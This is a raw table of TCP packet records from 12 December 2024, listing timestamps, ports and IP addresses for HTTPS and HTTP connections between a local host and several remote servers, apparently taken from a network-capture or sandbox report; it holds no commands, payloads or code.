Dec 12, 2024 12:06:18.968094110 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:18.968131065 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:18.969778061 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:18.969875097 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:18.975944996 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:18.976035118 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:19.130420923 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:19.130453110 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:19.240385056 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:19.684897900 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.685209036 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.685272932 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.686755896 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.687306881 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.688132048 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.688132048 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.688163042 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.688234091 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.689425945 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.689624071 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.689656019 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.691301107 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.692526102 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.693690062 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.693783045 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.741795063 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.741823912 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.754859924 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.754933119 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:19.787447929 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:19.853221893 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.461518049 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.461559057 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.461565971 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.461591005 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.461636066 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.461700916 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.461755991 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.501517057 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.501544952 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.521203995 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.521215916 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.521241903 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.521291018 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.521330118 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.521357059 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.567852020 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.647633076 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:20.647677898 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:20.647746086 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:20.648040056 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:20.648060083 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:20.654655933 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.654680014 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.654685974 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.654716015 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.654748917 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.654762983 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.679650068 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.679656982 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.679675102 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.679709911 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.679727077 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.679752111 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.713059902 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.713067055 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.713090897 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.713130951 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.713151932 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.713175058 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.738497972 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.738504887 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.738527060 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.738560915 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.738579035 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.738605976 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.742769003 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:20.742795944 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:20.742856026 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:20.743088961 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:20.743099928 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:20.746938944 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.746994972 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.747010946 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.747036934 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:20.747095108 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.747294903 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:20.747342110 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:21.862818956 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.863466024 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.863528013 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.865003109 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.865067959 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.866504908 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.866596937 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.866739988 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.907413006 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.911582947 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.911621094 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.958839893 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.961529016 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.961726904 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.961741924 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.962601900 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.962670088 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.963052034 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.963052034 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:21.963063955 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:21.963100910 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.005309105 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.005317926 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.052890062 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.289261103 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.289648056 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.289731979 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.289750099 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.289798021 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.290174007 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.290193081 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.298080921 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.298140049 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.298154116 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.309194088 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.309251070 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.309263945 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.362930059 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.362987995 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.395638943 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.396500111 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.396580935 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.396603107 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.396693945 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.396717072 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.396735907 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.396747112 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.396826029 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.404943943 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.409735918 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.409917116 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.409979105 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.413449049 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.413497925 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.413508892 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.413894892 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.413964987 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.413983107 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.422044039 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.422090054 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.422099113 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.462742090 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.475162029 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.481692076 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.485645056 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.485832930 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.485896111 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.492450953 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.492518902 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.492537975 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.508465052 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.508558989 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.508635998 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.508699894 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.508778095 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.516185045 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.516558886 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.524880886 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.524943113 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.525430918 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.525494099 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.525599003 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.532953978 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.541220903 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.541285992 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.541301966 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.549439907 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.549515009 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.549529076 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.555885077 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.555965900 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.555979013 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.563760996 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.563776016 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.567397118 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.567440987 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.567464113 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.567480087 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.567544937 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.573182106 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.578974009 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.579117060 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.579129934 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.588598967 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.588655949 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.588665009 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.599296093 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.599361897 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.599374056 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.607837915 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.607884884 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.607892990 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.616209984 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.616276979 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.616285086 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.624702930 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.624759912 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.624768019 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.630784988 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.633121014 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.633183002 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.633193970 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.641567945 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.641634941 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.641644001 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.658370972 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.658416986 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.658425093 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.664541006 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.664614916 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.664623976 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.670743942 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.670788050 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.670795918 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.673330069 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.676404953 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.676481009 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.676584005 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.676651001 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.676728964 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.679812908 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.679852962 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.679861069 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.680829048 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.685482979 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.685560942 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.685576916 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.690052032 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.690105915 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.690119982 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718575001 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718589067 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718614101 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718626022 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718696117 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.718771935 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718806028 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718837023 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.718837023 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.718837023 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.718874931 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.718874931 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.721811056 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.745513916 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.745532990 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.745584011 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.745604992 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.745635986 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.745656967 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.772448063 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.772468090 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.772543907 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.772562027 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.772614956 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.780736923 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811063051 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811070919 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811109066 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811125040 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811129093 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.811156988 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811167955 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.811177015 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.811177015 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.811201096 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.836339951 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.836348057 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.836380005 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.836390018 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.836416960 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.836436987 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.836471081 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.836471081 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.881006956 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.881053925 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.881123066 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.881181955 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.881213903 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.883847952 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.897314072 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.897341967 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.897396088 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.897432089 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.897461891 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.897506952 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.915311098 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.915358067 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.915402889 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.915417910 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.915474892 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.915496111 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.933171034 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.933207035 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.933247089 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.933260918 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.933289051 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.933310986 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.939908028 CET	49756	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.939932108 CET	443	49756	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.948571920 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.948604107 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.948633909 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.948642969 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.948673964 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.948689938 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.966377020 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.966393948 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.966445923 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:22.966454983 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:22.966490984 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:23.064532995 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:23.064551115 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:23.064651012 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:23.064661980 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:23.064697027 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:23.066782951 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:23.066837072 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:23.066843033 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:23.066855907 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:23.066899061 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:23.096107960 CET	49755	443	192.168.2.4	151.101.1.229
Dec 12, 2024 12:06:23.096177101 CET	443	49755	151.101.1.229	192.168.2.4
Dec 12, 2024 12:06:28.664346933 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:28.664424896 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:28.664495945 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:28.806818008 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:28.806866884 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:29.699037075 CET	49723	80	192.168.2.4	199.232.214.172
Dec 12, 2024 12:06:29.819466114 CET	80	49723	199.232.214.172	192.168.2.4
Dec 12, 2024 12:06:29.819581985 CET	49723	80	192.168.2.4	199.232.214.172
Dec 12, 2024 12:06:40.082428932 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:40.082550049 CET	443	49751	209.74.95.101	192.168.2.4
